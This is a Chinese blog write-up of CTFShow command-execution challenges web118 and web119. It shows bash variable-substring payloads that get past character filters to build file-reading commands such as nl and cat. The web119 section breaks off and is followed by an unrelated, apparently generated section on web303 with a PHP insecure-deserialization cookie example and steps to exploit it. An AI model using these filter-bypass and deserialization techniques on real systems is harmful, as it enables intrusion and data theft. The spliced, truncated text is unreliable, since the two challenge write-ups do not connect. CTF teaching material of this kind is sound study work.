[ctfshow]web入门——命令执行(web118-web122+web124)

本文详细介绍了CTFShow中的Web挑战,涉及命令执行漏洞利用,包括Web118到Web122及Web124的解决方案。通过禁止的函数、变量和进制转换等手段构造payload,如使用${PATH}、${#}、${PWD}等。同时分享了相关资源链接和博客主页,供读者深入学习。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[ctfshow]web入门——命令执行

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ˘ω˘ @)ノ!!

web118

源码里有提示
在这里插入图片描述
在这里插入图片描述
非法输入会有evil input
在这里插入图片描述
fuzz一下发现可以用大写字母A-Z${}~.?:

# echo ${PWD} 
/root

# echo ${PWD:0:1}      #表示从0下标开始的第一个字符
/           

# echo ${PWD:~0:1}      #从结尾开始往前的第一个字符
t

# echo ${PWD:~0}      
t

# echo ${PWD:~A}       #所以字母和0具有同样作用             
t

# echo ${PATH}                            
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
//利用系统变量构造nl命令
${
   PATH:~A}${
   PWD:~A}$IFS????.???

${
   PATH:~A}${
   PWD:~A}是nl

在这里插入图片描述

还有别的利用${PATH}构造的payload

SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2
${PWD:${#}:${SHLVL}}就输出/

${#}是0,${SHLVL}为1
${#PWD}是回显字符数,${PWD} 是/root,${#PWD}是5

因为数字被屏蔽了,所以需要${#}来替代数字,截取想要的字符串

#${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4
${
   PATH:${
   #HOME}:${
   #SHLVL}}${
   PATH:${
   #RANDOM}:${
   #SHLVL}} ?${
   PATH:${
   #RANDOM}:${
   #SHLVL}}??.???

#其他师傅
${
   PATH:~A}${
   PATH:${
   #TERM}:${
   SHLVL:~A}} ????.???

web119

这次禁用了${PATH

PHP_VERSION=7.3.22
在这里插入图片描述
payload为

${
   PWD:${
   #}:${
   #SHLVL}}???${
   PWD:${
   #}:${
   #SHLVL}}?${
   USER:~${
   PHP_VERSION:~A}:${
   PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# USER=www-data
# payload即为 /???/?at ???<
### CTFShow Web 入门 代码审计 web303 解题思路 对于CTFShow平台上Web入门级代码审计题目web303,虽然具体细节未直接提及于提供的参考资料中,但从其他相似题目的解析中可以获得一些通用的解题方法和技术。 #### 题目背景理解 通常这类题目涉及的是对给定PHP或其他服务器端脚本语言编写的程序进行静态分析。目的是找出潜在的安全漏洞,比如SQL注入、命令执行、文件包含等常见问题[^1]。 #### 审计重点 - **输入验证不足**:检查是否存在未经充分过滤就使用的用户输入数据。 - **不安全的对象反序列化**:注意是否有对象被序列化存储在cookie或session中,并且这些对象会在后续操作里被反序列化处理[^3]。 - **弱加密算法应用不当**:如果涉及到加解密逻辑,则需评估所采用的方法是否足够强壮以及实现方式上有没有缺陷[^5]。 #### 实际案例模拟 假设`web303.php`中有如下片段: ```php <?php class User { public $role; } if (isset($_COOKIE['user'])) { $user = unserialize(base64_decode($_COOKIE['user'])); } else { setcookie('user', base64_encode(serialize(new User()))); } ``` 这段代码存在明显的安全隐患——它允许攻击者构造恶意payload并通过设置特定格式的Cookie来控制变量 `$user->role` 的值,进而可能获得管理员权限或者其他敏感功能访问权。 为了利用这一点,可以创建一个新的 `User` 类实例并将属性设为期望的状态(例如将角色更改为admin),之后将其序列化再经过Base64编码作为新的Cookie发送请求即可完成提权过程。 #### 测试与验证 使用Burp Suite之类的代理工具拦截HTTP流量,在Cookies部分修改对应项的内容为精心设计后的字符串表示形式,提交后观察响应变化确认漏洞的存在与否及其影响范围。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值